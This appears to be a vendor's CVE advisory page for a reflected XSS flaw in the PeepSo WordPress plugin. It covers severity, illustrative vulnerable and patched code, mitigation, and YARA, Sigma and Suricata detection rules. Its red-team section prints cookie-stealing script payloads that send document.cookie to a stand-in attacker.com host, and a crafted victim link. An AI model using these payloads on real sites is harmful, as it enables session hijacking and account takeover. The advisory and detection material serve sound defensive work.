☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-0187

CVE-2024-0187 Cross-Site Scripting in Peepso
📅 PUBLISHED: 2024-01-16 15:57 UTC 🔄 UPDATED: 2026-08-13 10:06 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.40%
👁️
0.40% probability
9.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-0187 is a Reflected Cross-Site Scripting (XSS) vulnerability identified in the Community by PeepSo WordPress plugin, versions prior to 6.3.1.2. The flaw arises from insufficient sanitization and escaping of various parameters and generated URLs before they are output back into HTML attributes. This allows an attacker to inject arbitrary JavaScript code, which executes in the context of a victim's browser. The vulnerability is particularly dangerous because it can be leveraged against high-privilege users, such as administrators, potentially leading to account takeover, data exfiltration, or further compromise of the WordPress site.

This vulnerability is classified under the WordPress ecosystem and is not related to the underlying web server (Apache/Nginx). The plugin is widely used to build social networks and community sites, making this a significant supply chain risk for site owners.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. The supply chain risk is moderate, as the plugin is maintained by a third-party vendor (PeepSo). Users must ensure they are using the latest patched version (6.3.1.2) to mitigate the risk. There is no known compromise of the plugin's distribution channel, but the vulnerability itself represents a direct threat to any site running an affected version.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.1 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector (AV): Network – The vulnerability can be exploited remotely.
  • Attack Complexity (AC): Low – No special conditions are required.
  • Privileges Required (PR): None – The attacker does not need to be authenticated.
  • User Interaction (UI): Required – The victim must click a crafted link or visit a malicious page.
  • Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
  • Confidentiality (C): Low – Limited data exposure possible.
  • Integrity (I): Low – Limited ability to modify content.
  • Availability (A): None – No direct impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the ability to target high-privilege users (admins) elevates the real-world risk. An attacker could use this to steal session cookies, perform actions on behalf of the admin, or install backdoors.

Deep Dive & Mechanics

The vulnerability resides in the PeepSo plugin's handling of user-supplied input. The plugin fails to properly sanitize and escape parameters (e.g., GET or POST parameters) and generated URLs before outputting them into HTML attributes. This is a classic Reflected XSS pattern.

Attack Flow:

  1. An attacker crafts a malicious URL containing JavaScript payload in a vulnerable parameter (e.g., ?param=<script>alert(1)</script>).
  2. The attacker sends this URL to a victim (e.g., via email, social media, or a phishing link).
  3. The victim, who may be logged in as an admin, clicks the link.
  4. The PeepSo plugin processes the request and reflects the unsanitized input back into the HTML response, typically within an attribute like href or src.
  5. The victim's browser executes the injected JavaScript, allowing the attacker to steal cookies, perform actions on behalf of the victim, or redirect to malicious sites.

Root Cause: The plugin uses functions like esc_attr() or htmlspecialchars() incorrectly, or omits them entirely for certain parameters. The lack of proper output encoding allows HTML/JavaScript to be injected.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-6.3.1.2):

// Example of vulnerable code in PeepSo
$param = $_GET['some_param'];
echo '<a href="' . $param . '">Click here</a>';

In this example, $param is directly concatenated into the HTML without escaping. An attacker could set some_param to " onclick="alert(1) to execute JavaScript.

Patched Code (6.3.1.2+):

// Patched version using esc_url() and esc_attr()
$param = isset($_GET['some_param']) ? esc_url($_GET['some_param']) : '';
echo '<a href="' . esc_attr($param) . '">Click here</a>';

The patched code uses esc_url() to sanitize URLs and esc_attr() to escape the output for HTML attributes, preventing XSS.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A WordPress site running PeepSo < 6.3.1.2.
  • A victim user (preferably admin) who will click the malicious link.

Exploitation Steps:

  1. Identify a vulnerable parameter. Common parameters include search, filter, page, or any custom PeepSo shortcode attributes.
  2. Craft a payload. Example: ?search=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
  3. URL-encode the payload if necessary.
  4. Send the crafted link to the victim (e.g., https://victim-site.com/?search=%3Cscript%3Efetch('https%3A%2F%2Fattacker.com%2Fsteal%3Fcookie%3D'%2Bdocument.cookie)%3C%2Fscript%3E).
  5. When the victim clicks the link, the script executes and sends the cookie to the attacker's server.

Example Payload (Cookie Stealing):

<script>
var i = new Image();
i.src = "https://attacker.com/log?cookie=" + document.cookie;
</script>

Note: No public exploit code (Exploit-DB) or Nuclei template is available at this time.

Blue Team (Detection & Prevention)

Detection:

  • Monitor web server logs for unusual parameters containing <script>, onerror=, onload=, or other XSS indicators.
  • Use a Web Application Firewall (WAF) to block common XSS patterns.
  • Implement Content Security Policy (CSP) headers to restrict script execution.

Prevention:

  • Immediately upgrade PeepSo to version 6.3.1.2 or later.
  • Apply virtual patching via WAF rules if immediate upgrade is not possible.
  • Conduct regular security audits of WordPress plugins.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests containing suspicious parameters like ?search=<script>, ?filter=javascript:, etc.
    • Outbound connections to unknown domains from the WordPress server (potential data exfiltration).
  • File IOCs:
    • Modified WordPress core or plugin files (e.g., wp-content/plugins/peepso-core/).
    • Unexpected JavaScript files in the web root.
  • Log IOCs:
    • Web server logs showing 200 responses to URLs with XSS payloads.
    • Error logs indicating failed CSP violations.

Detection Engineering

YARA Rule

rule CVE_2024_0187_PeepSo_XSS {
    meta:
        description = "Detects PeepSo plugin files vulnerable to CVE-2024-0187"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-0187"
    strings:
        $vuln_func1 = "echo '<a href=\"" nocase
        $vuln_func2 = "echo '<input value=\"" nocase
        $vuln_param = "$_GET" nocase
    condition:
        any of ($vuln_func*) and $vuln_param
}

Sigma Rule

title: CVE-2024-0187 PeepSo Reflected XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects reflected XSS attempts targeting PeepSo plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '<script>'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in URLs (rare)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2024-0187 PeepSo Reflected XSS Attempt";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"peepso"; http_uri;
    pcre:"/(<script|onerror=|onload=|javascript:)/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade PeepSo: Update the plugin to version 6.3.1.2 or later from the WordPress admin dashboard or by downloading from wordpress.org.
  2. Apply Virtual Patch: If immediate upgrade is not possible, use a WAF to block requests containing XSS patterns in PeepSo-related URLs.
  3. Review User Permissions: Limit the number of admin-level users to reduce the attack surface.

Long-Term Measures:

  • Implement a Content Security Policy (CSP) to restrict inline script execution.
  • Regularly update all WordPress plugins and themes.
  • Conduct periodic security scans using tools like WPScan.
  • Enable automatic updates for critical plugins.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"PeepSo"
http.html:"peepso"
http.html:"peepso-core"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-0187/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.